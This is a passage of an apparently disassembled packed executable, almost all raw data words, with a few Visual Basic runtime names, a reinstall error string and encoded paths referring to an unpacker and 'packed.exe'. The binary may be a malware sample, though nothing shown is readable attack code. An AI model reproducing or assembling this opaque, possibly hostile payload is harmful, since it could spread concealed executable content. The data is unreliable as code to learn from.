83804E94h, 8EF7D142h, 64E99BA7h dd 0E52D8EB2h, 26751084h, 0F1000007h, 37745E38h, 7BB8A2E8h dd 0BBF8E2B0h, 0FC392373h, 977E682Ch, 68E9A82h, 4D51DF1Ch dd 98042663h, 0DABC71AEh, 3F806FF0h, 0A18BDD8Bh, 5777384Fh dd 90C7C4D6h, 94E67B4Fh, 0D0AD5FA7h, 0FF833A42h, 2C50C36Ah dd 67B59E0Dh, 43D896B0h, 58EDABEBh, 733906D7h, 0BC9E3B5h dd 0C4796533h, 1C9480FAh, 738A8711h, 8C21DFA7h, 23DAF4A0h dd 8EB38573h, 7E80411h, 35000000h, 2E151h, 0D6575800h dd 63B0C7C4h, 63CA5F1Dh, 0E1221F39h, 0A794E6E9h, 4883FF1h dd 1C19272Dh, 9DE787DBh, 0E7D183ADh, 5B1983AAh, 48327AC6h dd 0AF130EEBh, 0C576CA85h, 15DB290Eh, 5B6AD718h, 0AC5EA794h dd 39598AFh, 6451DC19h, 825CA723h, 6781339Bh, 0BAD8536Ah dd 5EEA7F03h, 5C983273h, 90429B82h, 93E1B876h, 0C08FD0CDh dd 0F5A1858Bh, 974E4EDEh, 0C8CC5103h, 0E2FB3401h, 62BD36Eh dd 45EC0000h, 1F2C6953h, 0B972AF99h, 78B4F1DBh, 25F5321Ch dd 89907761h, 15FF8793h, 58424AD8h, 9B85111Bh, 0E3CDCF5Eh dd 98327362h, 42A18BDCh, 0D6576A2Bh, 7FEAC7C4h, 0B0F6F18Ah dd 21FDCD0Eh, 2BDDA794h, 0C6F76E11h, 0E29FE769h, 0BBF2A72Bh dd 9433507Ah, 21D88AA7h, 2FEDAF7Eh, 0CF4733ADh, 0B218595Eh dd 53A79432h, 924BD2D9h, 0DBF8D38h, 491B09F3h, 7E041160h dd 7, 18451CBh, 57580000h, 2AA0E1D6h, 0B0A794E7h, 0B15FE4FEh dd 6BE921B9h, 5935CF7h, 0AD840000h, 77C401EBh, 210A4731h dd 0E04C8973h, 0BD8DCAB4h, 71280FF9h, 0AD971F2Bh, 0F0DAA270h dd 331D79B3h, 7B6537F6h, 0CA0BFAh, 0DAA18BDCh, 5A3702C3h dd 5AEAC678h, 0FB9E554Fh, 0F5AA6832h, 834D7DBEh, 0DB8DA794h dd 0EAAC8124h, 5575B6EDh, 85A79483h, 16981CD3h, 0F538B09Ch dd 455CB9A3h, 59EEACEAh, 3507C5C9h, 0AEEE3E1Bh, 13671EF0h dd 4117741h, 1E76h, 2037C300h, 3862CB0Eh, 0D08EA87Ah, 8C1221FEh dd 9C45FCCEh, 0DEh, 0D851A3h, 15580000h, 205B78CFh, 0F2A14CDh dd 2880B66Ch, 0EA048009h, 53B6ACEDh, 4825AD9Dh, 457C770Ah dd 38E7B779h, 0F5423FE2h, 5DF2863Dh, 0F5B3F946h, 0DCAE1C23h dd 121DA18Bh, 26F4C684h, 0E79C5A74h, 0DD5B6FB0h, 0CD7FA18Bh dd 1D233116h, 75390920h, 6B2EE5B7h, 86101D34h, 209EAEE3h dd 10C7D9CCh, 8E076C43h, 18638A7h, 0E52D4431h, 8EF48F03h dd 89000004h, 0CF0CF6A0h, 13503A40h, 53907A18h, 94D1BBDBh dd 2F160084h, 9EE6326Ah, 0E5A977B4h, 306CBEFBh, 72240946h dd 0D7180788h, 0A18BDAF3h, 150FD0E7h, 0C30401CFh, 0AD98346Ch dd 72898638h, 890F1CA5h, 0DEF5B86Fh, 0FE654F4Dh, 0A19199C9h dd 0C384FFDCh, 14E619F6h, 0EDA4F637h, 0CFB9E34Ah, 3DFB9992h dd 428A2h, 0CF15A900h, 9FC30401h, 6BAD9DE7h, 0A76537F6h dd 26FDBBD5h, 0DCEE2FD8h, 0FEA18BE5h, 0F435324Ch, 0A78EF4BBh dd 0C8B237E9h, 0AAE52DA9h, 3F79B36h, 9200000h, 0DB68A58Fh dd 7DAEEBD5h, 34F8351Fh, 0F1417E68h, 3DDCC3ADh, 614B53DFh dd 0A48E1624h, 0EFD9C567h, 37217BB2h, 4486C7B6h, 96A18BDBh dd 37BE7Fh, 94E70BBFh, 2B6DC0A7h, 1BCD9B6Dh, 88717F64h dd 94E68347h, 0E3E728A7h, 0F7A794E6h, 0ABC57745h, 0E7F96DAEh dd 6719AD9Dh, 0C0DA536Ah, 0C96279D6h, 843B0DCBh, 8AC14CE1h dd 23BBFC16h, 1D45222Dh, 16EB1B7Ah, 19673EFCh, 0E0155653h dd 50A793E6h, 536AA19Eh, 7CBDBAD8h, 9B81E94Eh, 8023DA8Ch dd 0C401EBADh, 0BC712F69h, 4F0D89A5h, 93E1C67Dh, 0A88FD0CDh dd 0CA184F2h, 0BEF9D55Ah, 4FC3FB37h, 340B4h, 4852D700h dd 8C12215Eh, 0CCCA65A2h, 0D89A5E2h, 525AE623h, 84988168h dd 0C906F0B4h, 0C49337Bh, 4B887222h, 4DCEB8E2h, 0D9AD1D5Eh dd 162DA18Bh, 0BF003755h, 0A794E70Bh, 0EE401DCFh, 671EF0AEh dd 712F69C4h, 73BE51DCh, 688E502h, 132D73C0h, 9BB20FF9h dd 9449078Fh, 94CB7753h, 97B163A7h, 0E7F5FBE0h, 8E9CB3EAh dd 0BF764806h, 97D0B9F2h, 3431E3ADh, 0FEDD8C57h, 681FA824h dd 29A125E4h, 0BE32A191h, 0CFD7A9D2h, 470C0A14h, 59000000h dd 8B0D2037h, 5F44FBCDh, 0D4E4B11h, 0AD9809F2h, 6CA3A052h dd 91C39F2Bh, 0D2893BA1h, 0C4378F4Eh, 0A18CA191h, 0E3A1E734h dd 0A439F711h, 0D34F0D8Bh, 0DFAC614Dh, 0D0E77F6Bh, 32863D43h dd 0A143A60h, 0E195h, 0D657E200h, 0E72AA0E1h, 0FEB0A794h dd 5A7126E4h, 4426C9D3h, 662B6CEh, 3703A65Dh, 111CB16Fh dd 0F934C987h, 4A4EB59Fh, 1DA794D0h, 52898610h, 94C6B911h dd 0B86F21A7h, 3862CB08h, 8F5DA37Ah, 0CDAE5192h, 0E496AD97h dd 67757BFAh, 74C3296Ah, 0A95BA797h, 788595ACh, 0DE6737F5h dd 0C2BFD925h, 0AC804A8Bh, 0A85A9B8Ch, 2D69BB05h, 0E2994D9Eh dd 6125F532h, 29DB06DCh, 0B14CC0E5h, 1EDh, 0AB95072Ah dd 0F1DBA16Eh, 331D7BB4h, 7C6636F6h, 0C1ABF33Fh, 4DDD3FDAh dd 14225F49h, 0C769A690h, 7DB0EDD7h, 0C1B0311Bh, 8BD94A80h dd 0B87990A1h, 2F00CB57h, 0A958B371h, 4F5E1B91h, 0C8623F59h dd 0D8B5B2CCh, 0F7F86786h, 8B3BF259h, 14B6F72Eh, 0C6A79479h dd 0D9F3678Bh, 0F10B6F10h, 496973Ah, 0CF152F1Ah, 94AEEE3Eh dd 9A95697h, 0E99BAD98h, 0C35A6C2Bh, 579A191h, 3B1EF019h dd 0A5DC0A14h, 0D0E35EC8h, 0B6BD7FC2h, 0A1915314h, 0B49E42F1h dd 0E7B512BAh, 0C5327E35h, 7F000000h, 8E0E2037h, 0A447FED0h dd 0DB120F89h, 94E7309Ah, 41F8AAA7h, 941828BDh, 0EB8117D6h dd 0AFC6A794h, 8D5F1D61h, 0BDFA33D6h, 94E24E7Ch, 0C0DA8CA7h dd 29499D6h, 59676D44h, 0E6E4255Ch, 0F4A794E1h, 0DFAE6DB9h dd 3D57475Ch, 7D82C386h, 0C7AD9792h, 2F011815h, 28DFB16Fh dd 0E5EBF978h, 36E6A7E8h, 6E4BA797h, 925F85EDh, 3262CA6Bh dd 0D188A274h, 778E8B3Dh, 0BCF9E3ABh, 3FA3286Ch, 7DE52839h dd 0CB6E09h, 0E54C0000h, 0BF8CC9B3h, 59D20FF9h, 1814513Bh dd 0C555927Ch, 29F0D7C1h, 755F27F3h, 0B8A2EA38h, 0FBE5B17Bh dd 432D6FBEh, 3892D3C2h, 0A2A18BD8h, 0CB57CA8Bh, 919CD9C3h dd 38F30A07h, 8F3A35Ah, 6C4D657h, 0F0DABC71h, 605D6371h dd 9DE74F1Fh, 6321D3ADh, 533D5FCEh, 0C7851716h, 0D7497B08h dd 3074C2A4h, 4551DD72h, 99850B87h, 0AE9A20E4h, 0A8A5F736h dd 0D91A8191h, 9E4081F1h, 5F1D37E9h, 0E926D68Dh, 78555244h dd 3996C624h, 0F97D34D8h, 0E643C864h, 33755854h, 7C595670h dd 2FB5B043h, 0EF732A5Eh, 0BA869DA0h, 0AB6234F2h dd 86A71F0Bh, 40ED2A14h, 0F5425956h, 421FF1AFh, 74F8AFF5h dd 8D9h, 2037E000h, 55DA910Fh, 0C8D25714h, 0DEB8750Ah dd 0F5A18B20h, 1094A237h, 296DBD52h, 424AD66Bh, 5F3FEF84h dd 75230CA1h, 8F1522B7h, 89514DD1h, 4C181E1h, 83000000h dd 0C8704E9h, 14895C24h, 48E6824h, 3C890000h, 0E1895124h dd 4C181h, 0E9830000h, 240C8704h, 2404895Ch, 47BE5651h dd 89060901h, 0CF895EF1h, 48B5459h, 4C48324h, 4C0F68h dd 24348900h, 7089FE89h, 48B5E08h, 0E6895624h, 4C681h dd 0C6830000h, 24348704h, 243C8B5Ch, 81E28952h, 4C2h, 4C28100h dd 87000000h, 0E95C2414h, 0FFFB35DFh, 0FDAF4CDEh, 0CE722809h dd 10E5B8C5h, 0C5030609h, 7D70E0FFh, 0D25B7AEFh, 43297775h dd 11E8660Ah, 23000000h, 269493h, 99B7B328h, 15F8D9BAh dd 7D75CEE2h, 0BF3FBB66h, 81F7B75Fh, 7361C7h, 0BB665100h dd 6858FCFCh, 0 dd 5EC78B66h, 9627B866h, 0E93E34FFh, 5, 5DB57F32h, 0F98A5A89h dd 0D94AC281h, 816678DFh, 814068C1h, 1C314C2h, 0A0BB564Ch dd 597C1B12h, 0B84DEA81h, 66526396h, 8FC9BCB8h, 8F0F3704h dd 0 dd 831CC380h, 4EF802EEh, 81C3B04Eh, 0FF8D20FEh, 0AD850FFFh dd 0FCFFFFFFh, 12CA8D8Dh, 6A0609h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 17EFF7C3h, 0A48B17B0h dd 6ABA5360h, 585EBE32h, 0A58D8961h, 6A060320h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0F330C355h, 85C73B34h, 6031A65h, 7484h, 2199BD89h, 958B0603h dd 6030081h, 7185C7h, 603h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 7F973DC3h dd 0B3EFB340h, 3D9B589h, 0B5FF0603h, 6030DC1h, 1659BD8Bh dd 0B58B0603h, 6032CC1h, 171D95FFh, 68B00603h, 95FF006Ah dd 60323A5h, 1EEBC08Bh, 6B2CAE4Fh, 0C9C9A2AFh, 5711D1A6h dd 810AB51Ah, 32E9CEAEh, 0BE2B047Eh, 0E165B8BAh, 12E8584Ch dd 3000000h, 693E3906h, 969B90F0h, 55E7EAE9h, 39AD6CF0h dd 6850F0Bh, 8B000000h, 30781B5h, 8D8B5A06h, 6032199h dd 5B34C281h, 800F0000h, 6, 17D5BD29h, 97BB0603h, 66000016h dd 0FF3059B9h, 51E18132h, 5F6BF0EEh, 81C3B70Fh, 0BE4F3FC7h dd 0F781F500h, 0F780791h, 0C0C88166h, 7F781C5h, 0F38DF4Bh dd 684h, 3D858900h, 57060303h, 0E2D88166h, 66028FCEh, 81D40FBEh dd 2F733BEAh, 0D1850B71h, 8106031Ch, 2F7337C2h, 0EE871h dd 532F0000h, 2D9EE84Bh, 0A331B11h, 4081643Fh, 4B59F18Bh dd 15850Fh, 9510000h, 307F58Dh, 24E95906h, 25000000h, 88234311h dd 81DD6DA3h, 0E9E36AD9h, 0FF75E96Fh, 8538FFFFh, 0A273AC3Dh dd 0E85DBA25h, 6D794C30h, 0E96EF24Bh, 15Ch, 77E705C5h dd 6D5C3A43h, 706E755Fh, 656B6361h, 61700072h, 64656B63h dd 6578652Eh, 3Bh dup(0) a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 dd 57102Bh, 1B60E9h, 17626800h, 0E2E90609h, 68FFFA68h dd 6091852h, 0FA68D8E9h, 193D68FFh, 0CEE90609h, 68FFFA68h dd 6091A0Eh, 0FA68C4E9h, 1A5968FFh, 0BAE90609h, 68FFFA68h dd 6091B4Dh, 0FA68B0E9h, 1BA068FFh, 0A6E90609h, 68FFFA68h dd 6091BE7h, 0FA689CE9h, 229968FFh, 92E90609h, 68FFFA68h dd 6092345h, 0FA6888E9h, 23EF68FFh, 7EE90609h, 68FFFA68h dd 60924B8h, 0FA6874E9h, 252D68FFh, 6AE90609h, 68FFFA68h dd 609262Ah, 0FA6860E9h, 26F768FFh, 56E90609h, 68FFFA68h dd 60927C6h, 0FA684CE9h, 2DC468FFh, 42E90609h, 68FFFA68h dd 6092ECDh, 0FA6838E9h, 2F4B68FFh, 2EE90609h, 48FFFA68h dd 6C8AF6BFh, 8BA915E6h, 0A8C63203h, 0CBE9551Eh, 4A097546h dd 0E4B53AFEh, 6CF5A78h, 27F07C9Ah, 45169DBBh, 5D28D4D9h dd 0D0185017h, 56BED1DFh, 0AE7701CFh, 0EAB5E75Bh, 0D6114584h dd 0B2675F6Ch, 31028896h, 0E92766E6h, 21195F12h, 57C3941Bh dd 0E6B1E315h, 0D6113488h, 204E5B68h, 0D0D61134h, 6D98CBC3h dd 44430C96h, 7482F649h, 211C1BECh, 1F34FF29h, 19DC143Bh dd 40B4850Bh, 12307F75h, 0F2EAF7D0h, 0B7C53946h, 0B2675F30h dd 1230F3FDh, 0D2CF48D0h, 3A928F44h, 47865Ah, 32D50000h dd 4FD49A24h, 31847F7Eh, 49F0639h, 0D860B079h, 7540B407h dd 0DC146832h, 1774A5AEh, 441ADD63h, 1F93A04Ch, 0BFBE8711h dd 6217CCC4h, 0D012A108h, 0A93734ADh, 5A3A0722h, 0DAE9h dd 45CBD900h, 827A7574h, 0FECF56B7h, 0F6DAE3FFh, 353861DEh dd 9C21271Fh, 4DD4CCCBh, 0FE857D7Ch, 30E6C12Dh, 56D61194h dd 818AFECFh, 4D80B191h, 0FAC34DFEh, 0B5AD00FBh, 0BC435193h dd 66EDF3EBh, 34719695h, 8BEFF86Ch, 944B96E3h, 4F1A443Ch dd 0DC1461C8h, 8B54DEECh, 4FA5708Ch, 27D0121Dh, 23CFC71Ah dd 265FAA16h, 1E1BE65Ah, 0DADA15A2h, 747344CCh, 0C8D58179h dd 0F0C14654h, 0AF344284h, 0ECE4DFDEh, 399061E6h, 0D4BE6150h dd 8F1B2223h, 0B8000018h, 0DCFA662Fh, 0FB198556h, 1836A273h dd 3B59C58Eh, 0BA79E5B6h, 5425AA6Eh, 763FCAE8h, 9760EC0Ah dd 0B5860D2Bh, 0CD984449h, 0D01852A7h, 562E414Fh, 529400D1h dd 0F0EFB844h, 52A56EF8h, 0FFCD545Ah, 0AEA9A879h, 290CEF5Bh dd 0E5B024FCh, 0DC1468C2h, 0DB908F9Ch, 0D0126691h, 22B0AD26h dd 5A3AC0A9h, 10E16775h, 0DCDD18h, 0BFCD0000h, 726D6C35h dd 2432AF7Ah, 0CDD3CB9Ch, 0F8017546h, 0CF0E9001h, 1BD0C867h dd 0CECD9E23h, 11EE6319h, 390289D6h, 21A4DA6Dh, 43E82EB3h dd 1FBDA4EFh, 0C5E34FA2h, 0C7F96D3Eh, 1183F6FCh, 79717ED6h dd 9A669FC4h, 60E6F426h, 0A974908Fh, 0D611834Bh, 0D3CB1E2Bh dd 14990B10h, 0B21E2BDCh, 0EE623E67h, 15161723h, 0CE424FDAh dd 0E16D3BC0h, 1759C518h, 0BBB38409h, 85F30B5h, 0D4BEE715h dd 9FF4FBFCh, 0A8000017h, 0CCEA561Fh, 0EB097546h, 8269263h dd 2B49B57Eh, 0AA69D5A6h, 44159A5Eh, 662FBAD8h, 8750DCFAh dd 0A576FD1Bh, 0BD883439h, 0D0185DB7h, 561E313Fh, 769400D1h dd 0C99A21EFh, 0FA7FCFCAh, 0DC2F2A29h, 8CE5A68h, 605FB283h dd 94B6D65h, 45E60CD7h, 818ED611h, 0CF56BE89h, 0D5E3FFFEh dd 7E847C4Dh, 6FBA26F7h, 0C4F66A36h, 2EFF8492h, 1145D321h dd 50974ED6h, 658C6698h, 0A76A626Fh, 0DC142F28h, 6738BECCh dd 0B7B6C36Fh, 122FE802h, 0D7D44DD0h, 3A8D8249h, 28C9A5Ah dd 473F3A39h, 0A60Ch, 7C135B00h, 5ACEAAD3h, 1460848Fh dd 71A1AEDCh, 0A8F6E61Eh, 0E2BEE7ACh, 0AAD8A36Eh, 85920689h dd 5F246186h, 0C0706D7h, 0D87A45B9h, 503CB726h, 3AC1CF43h dd 58DFFD69h, 3635FE8Ah, 9491E83Bh, 8FAF5CB6h, 16B4878Eh dd 0A930000h, 31B7D541h, 4ED6F460h, 69F3117Dh, 911634A0h dd 499554C0h, 0C32F0085h, 0E5511AA5h, 6723BC7h, 249061E8h dd 4AA8731Fh, 2AD0185Ch, 0CF56091Ch, 0A3DAFFFEh, 2E8152D8h dd 0B7BD88BAh, 3FD61145h, 45284611h, 0BBC8D611h, 7B467068h dd 0DC146014h, 0B7DF191Eh, 0E21825B6h, 1340238Fh, 0CEAAD37Ch dd 60848F5Ah, 2230DC14h, 5ED9D29Bh, 49ABDE66h, 0D94ABF6h dd 0BE58DBA3h, 0DD0D1AC6h, 84C21A23h, 5CD8D5CDh, 3241A164h dd 178E5B39h, 28579D68h, 121F5B3Dh, 694EA6C7h, 6595DD2h dd 0FF3CC792h, 0ACB65138h, 4CD5927h, 3A5F5EB1h, 0B3C135C3h dd 3E686029h, 387AD173h, 0C83C494Fh, 0F66233BAh, 298051D8h dd 61EB8A22h, 0E3293031h, 64000015h, 88A612DBh, 0A7C53102h dd 0C4E24E1Fh, 0E705713Ah, 66259162h, 0D1561Ah, 22EB7694h dd 430C98B6h, 6132B9D7h, 7944F0F5h, 0D0185F7Bh, 32DAEDFBh dd 4ED39924h, 30837E7Dh, 383E3631h, 7889E0B1h, 9BC8B553h dd 1598939Ah, 26AF0000h, 4DD3F15Dh, 6AF2107Ch, 850F2D99h dd 0AD3250BCh, 65B170DCh, 0DF4B1CA1h, 16D36C1h, 228E57E3h dd 40AC7D04h, 0AEC48F3Bh, 46D0185Fh, 0CF562538h, 8D588AFEh dd 0D6114567h, 550A020Fh, 0B72BF530h, 144923ECh, 3CC1CBDCh dd 9BA4186Bh, 173E4753h, 0CDCAF845h, 643076C1h, 5CBDDFD7h dd 871C8942h, 0DDAE3402h, 4590E3DEh, 0B829C4FAh, 0E85CAFD1h dd 0BC85EBB6h, 636DD012h, 67B70ADBh, 191413DCh, 232CF721h dd 4BDA1799h, 3BB0E3Eh, 0D7EBEE8h, 0B1A97AFFh, 579077Eh dd 0BBA4A13Ah, 9A1F2974h, 7CCFCAC9h, 0C853617Dh, 5B18B4FFh dd 7FCA8827h, 4F295487h, 0C14E10DBh, 0D9E672A5h, 232A3365h dd 3A3803E5h, 0BA62A9EAh, 0D9F462ADh, 0D65D635Bh, 0FE839105h dd 3B332E2Dh, 0DAA5D719h, 62A94194h, 51574F5Ch, 87A2F9CAh dd 0BE7D6D56h, 14A4B6BDh, 1AA30000h, 41C7E551h, 5EE60470h dd 7903218Dh, 0A12644B0h, 59A564D0h, 0D33F1095h, 0F5612AB5h dd 16824BD7h, 34A071F8h, 0BAB8832Fh, 3AD0185Eh, 5B99192Ch dd 4D61145h, 0D61155EAh, 1145016Bh, 6598D2D6h, 6FF6D611h dd 7322479Eh, 6C6DC8B5h, 145165h, 0A46DF600h, 0C3941A38h dd 0E0B13957h, 3CC5674h, 23F47997h, 0E8ACF8B7h, 8269263h dd 2A48B47Dh, 4B69D59Eh, 8287F3C4h, 5EE50BD6h, 7F8DD018h dd 24FC296Ch, 6B32E5B0h, 9FACDC14h, 0B8791948h, 707778CEh dd 140Ah, 7FEBB43Dh, 9E0ADB61h, 0BB27F880h, 0DE4A139Dh dd 0FE6A3BC0h, 0AA2FF33Fh, 0C44F6DD9h, 0E5718FFBh, 0B92B01Ch dd 1DC9CE3Ah, 185E1C52h, 0B3C6D4D0h, 0FFFECF56h, 0B0AF8007h dd 636233B8h, 1918E16Bh, 3E0A0710h, 11457D73h, 95E8F5D6h dd 0BA48451Ah, 5C39E731h, 20FCh, 5F994B00h, 0BDD61145h dd 0E8F16536h, 0C5D0F243h, 284A4244h, 6CBF414Dh, 8A9190D6h dd 1392h, 0FECF568Dh, 0D5A3DAFFh, 8D262F61h, 5AFE826Dh dd 41E6A9A1h, 21DC146Bh, 62CA28F3h, 0C550D012h, 0C02FDFCh dd 0F540ACFFh, 0B17CF088h, 0DA176886h, 0ECE4E3F0h, 4C279364h dd 0DA177723h, 971DEB71h, 0E90773C6h, 101E9A63h, 9678F4F9h dd 98EB3E0Fh, 4A1BA199h, 0E1DE9D4Bh, 76E2B339h, 3FE17972h dd 1CCB450h, 96A40000h, 0F2BB460Ch, 55A5A09Fh, 3C07FFD0h dd 0B024FC29h, 145FF6E5h, 774270DCh, 0D0125F79h, 9A99ECF9h dd 0DF4B1CA2h, 0F66A3BC1h, 989061E8h, 4FC42EE3h, 3841D012h dd 0D7616F3Bh, 8A10160Eh, 9B024DB9h, 1DBE89FDh, 95DA1759h dd 0C918988h, 2CB1CF3Bh, 908D95Eh, 0A0BCBB0Eh, 0FCE81597h dd 9991A8FAh, 17279ED6h dd 0E5E2EBDAh, 20DEE719h, 77CC2FF3h, 3CB0BECBh, 3340DA17h dd 0E7B0353Bh, 6631A3D7h, 0DA172D08h, 7790DBE8h, 75E13468h dd 4A08D157h, 49A491Fh, 473F3E91h, 43F1F0C1h, 59DF8784h dd 0D3181C88h, 5A503F2Ch, 5Dh, 0E4B53C4Ah, 0CE81F2E5h dd 32AD758Eh, 561CE7DFh, 7E8C00D1h, 303E09F3h, 0C0D61145h dd 666160B3h, 949DB96Eh, 0B99FAF90h, 0A2A8A0D6h, 0FAC34F1Dh dd 5324AAh, 97945301h, 6435BDCBh, 0BDBC8D14h, 3FC4CAC2h dd 0EF312076h, 0BB43B139h, 9DF0EBEAh, 11DADE4Ah, 1C5C3998h dd 0C2h, 27FC296Bh, 7A4BD19Fh, 9560D427h, 0DC145F9Ah, 0ACC8C7D4h dd 96B08BA3h, 0C14C387Eh, 0A7ADA5F8h, 0C6E45021h, 54706F40h dd 47195722h, 0CCD9D012h, 2827F07Ch, 0A92F352Dh, 358851DBh dd 0CCC98836h, 61CD9E24h, 3AE1965Dh, 649D5Ah, 32EC0000h dd 1A7D1B29h, 41392356h, 0EF159B0Eh, 0CB13BEA0h, 622DA1F4h dd 0D611D6BCh, 73282734h, 0D611D579h, 45440D97h, 0BD6C84Dh dd 0D611D1E5h, 2E2D808Dh, 0D1294712h, 0BCC9D611h, 812C2984h dd 5A2F2C0Bh, 0B3E5592Fh, 11D18AE8h, 125D6AD6h, 0FC970088h dd 0A9D3CB42h, 114820DEh, 37A3B0D6h, 110Ah, 320D00h, 11453F35h dd 0B2AAB7D6h, 5B9Dh, 2432A000h, 0CED4CC9Dh, 0CF017546h dd 1145EE04h, 0D3A42CD6h, 0D6E3D9D4h, 0DB0D29DEh, 1145E210h dd 8D8592D6h, 0A9330187h, 388B5CE3h, 7FEB3E39h, 0B0ADB61h dd 8C55E1EFh, 622E6194h, 454BAE63h, 7FF8D611h, 0E3FFF482h dd 1365C39h, 2600000Ch, 0AAECAB1Dh, 3C8CC59Bh, 23EEE6B7h dd 2B2AF629h, 887A010Fh, 1145B7BDh, 0DF323FD6h, 2AEDE5E0h dd 5FBC794Bh, 0EC7A77F0h, 0D592D2E7h, 372Eh, 0F6297D00h dd 85EBB62Ah, 6DD61145h, 0A4AC6160h, 9D7F8512h, 52992724h dd 0EAF54A2Dh, 8C8455DCh, 26B51h, 440F4100h, 7F62872Eh dd 0A7CD98C6h, 4F7F6287h, 2CF7EF42h, 152AF629h, 0F7818FA3h dd 3C342F2Eh, 0FECF5671h, 701B76E9h, 4139FF6Bh, 35A2h dd 0F629F100h, 6732152Ah, 0D611450Ch, 0A371E1E6h, 6286ECB7h dd 616ED611h, 8DA4BA16h, 32253Ah, 4E9E67F2h, 0FEF9F8C9h dd 0CE563B06h, 7D14E8FDh, 2747h, 0F6294A00h, 6732152Ah dd 0D611450Ch, 5CE5A68h, 0DC50650Dh, 9F7D46CEh, 1D037EE9h dd 0EEB9B104h, 0CE565F32h, 7D14E8FDh, 12B12932h, 1D6831BBh dd 0AEA6FAAFh, 0D9807AEBh, 44159A07h, 6233BAD8h, 83F1BCEEh dd 73E7D9F9h, 4F0F1B66h, 4B0F0Ah, 0DA5F4F08h, 0D72A0609h dd 0DAAB32DAh, 0BC8D14AAh, 0E7B03A48h, 3CF5EDE8h, 0B53A4609h dd 61EDE5E4h, 87909998h, 955EDF8Ah, 9869F098h, 7A4BD268h dd 0D0556377h, 5A23AFFFh, 6268605Bh, 0C01952DDh, 0CCD1E7D9h dd 6625AD5h, 0D71DE8C3h, 9FE7D9C2h, 0E9EC3F92h, 15BDBA0Dh dd 3B49BD8Eh, 0E8E3E2B3h, 0EF740AF0h, 0C23C32FDh, 0A7B4E7D9h dd 3E1A5554h, 11B9B693h, 314FBB8Ch, 5C65D9AAh, 93672CE8h dd 0E59E96DBh, 8AE570F5h, 64E7D9B3h, 59445457h, 935E905Ch dd 0E7D9B35Dh, 6D6334BBh, 0B37E743Fh, 0E9F6E7D9h, 11989E96h dd 0F37A1040h, 1AA0AE22h, 0CB524A49h, 0AD00FBFAh, 83C9FCB5h dd 6DB3BCC4h, 0B4F87C1Fh, 0EAB33F8Fh, 4E1A17F2h, 0F1E9BA40h dd 639364EBh, 727546CDh, 0B82CFD82h, 5D551EAAh, 1826C8A4h dd 0F0CBC38Ch, 0F3C44BF3h, 243268C3h, 0B6D2D19Ah, 114585EBh dd 0D606DD6h, 0B7880F15h, 95553A43h, 8B0484C2h, 0EEA3C893h dd 1328F029h, 29321B76h, 4E0B4004h, 5D494117h, 41394886h dd 388Dh, 0F029DC00h, 1CA6B428h, 0AE01CA56h, 32EBB6h, 9B9A6BF2h dd 8AE5A8A0h, 64D61145h, 24324257h, 8E59CD9Eh, 0D6114560h dd 0E10B0310h, 0FFD0560Eh, 477D14EAh, 50h, 28F0294Ah, 0C673213h dd 0EAD61145h, 642F61D5h, 0D611450Eh, 16E1D9E6h, 9EF70032h dd 7D71716Bh, 323500F8h, 453F3500h, 0AAB7D611h, 3426ACB2h dd 11450B69h, 0B7E6EBD6h, 0F4A1B804h, 3EC31366h, 20736E6Dh dd 151E140Bh, 8956186h, 4C170F0Ah, 1153D199h, 4DD938D6h dd 0DCFFFFFDh, 0D19A2432h, 45DC16D9h, 9A0DD611h, 42124D16h dd 0CD59FBB1h, 0B70A0504h, 68E7F064h, 4AF4E7A6h, 17597B73h dd 7B90B40Eh, 5951A1BEh, 0ED9CB53h, 0D6112CE0h, 26388390h dd 0BB4AED98h, 0BA6F6EC1h, 0D61156B4h, 38E0DDBCh, 3173DFB0h dd 563E34FFh, 0A9B6D611h, 5425ABB1h, 9C6C9DE8h, 0E773819Dh dd 0B463261Eh, 0FB18678Bh, 0CE9F2533h, 70FEFBD6h, 1E6F817Bh dd 22DB2h, 5E990100h, 91D61145h, 0E6188C14h, 1145D51Bh dd 98909DD6h, 6A14A36Eh, 414EDC14h, 586193D5h, 0EA32D1DDh dd 92E0ED62h, 62D01269h, 0CF575D55h, 0F27C8AFEh, 607C3129h dd 5F42F057h, 4D4570C2h, 7CF0C147h, 2EF9E36Eh, 0D0121FC0h dd 5150A3B0h, 2EB00B56h, 19067E7Fh, 0EE746C21h, 8CF91E1Dh dd 0A3A26BF7h, 0B6934A8h, 0EBD01281h, 4C178BDEh, 0DA17A39Fh dd 7AB30A17h, 0EDD4BC39h, 0D58E5ECh, 66EF0000h, 8D13319Dh dd 0AA3250BCh, 0C54F6DD9h, 0ED7290FCh, 0A5F1B01Ch, 1F8B5CE1h dd 41AD7601h, 62CE9723h, 80ECBD44h, 0EE04CF7Bh, 86D01867h dd 29326578h, 9680369h, 6FE25h, 2634A879h, 22D7CFA0h, 84F880FDh dd 1AFFCDB9h, 0B33F49DCh, 0F12397EAh, 18FFC826h, 0A39BA8D0h dd 12E36B79h, 2F0088A6h, 0DF41B2BBh, 2CA2EB4Eh, 877F34h dd 614302Fh, 82B5AD7Eh, 0CC07851Bh, 0ACFDA316h, 3782738Dh dd 58ABB85Ch, 0F12619E4h, 70A2DA1Dh, 1DF44FA5h, 7A43CDDAh dd 7D8A807Bh, 0E1D9A22Dh, 8ED12835h, 15D4C204h, 0CAC0D14h dd 129B0000h, 39BFDD49h, 56DEFC68h, 71FB1985h, 991E3CA8h dd 519D5CC8h, 0CB37088Dh, 0ED5922ADh, 0E7A43CFh, 2C9869F0h dd 42B07B27h, 32D01866h, 0CF561124h, 0AEAD7601h, 10D963B3h dd 0C4C31611h, 269A669Fh, 145DD05Bh, 218D9ADCh, 3FAB7C03h dd 6CF289F4h, 9DF1EA3h, 5AAD89FEh, 63B67F0Ah, 9A724EFh dd 3341DA19h, 8A5BE3A9h, 3E3D908Bh, 929F4B43h, 0BB89101Eh dd 6E696831h, 29211C1Bh, 9869F1FFh, 0B5860E2Ch, 6637BEB6h dd 8D5EE4F2h, 42BBE095h, 106334B9h, 1A5ED19Ch, 0CBD8D018h dd 0C4EC2774h, 0BAC1C2DAh, 0C02h, 87F3BC45h, 0A612E369h dd 0C32F0088h, 0E6521BA5h, 67243C8h, 0B237FB47h, 0CC5775E1h dd 0ED799703h, 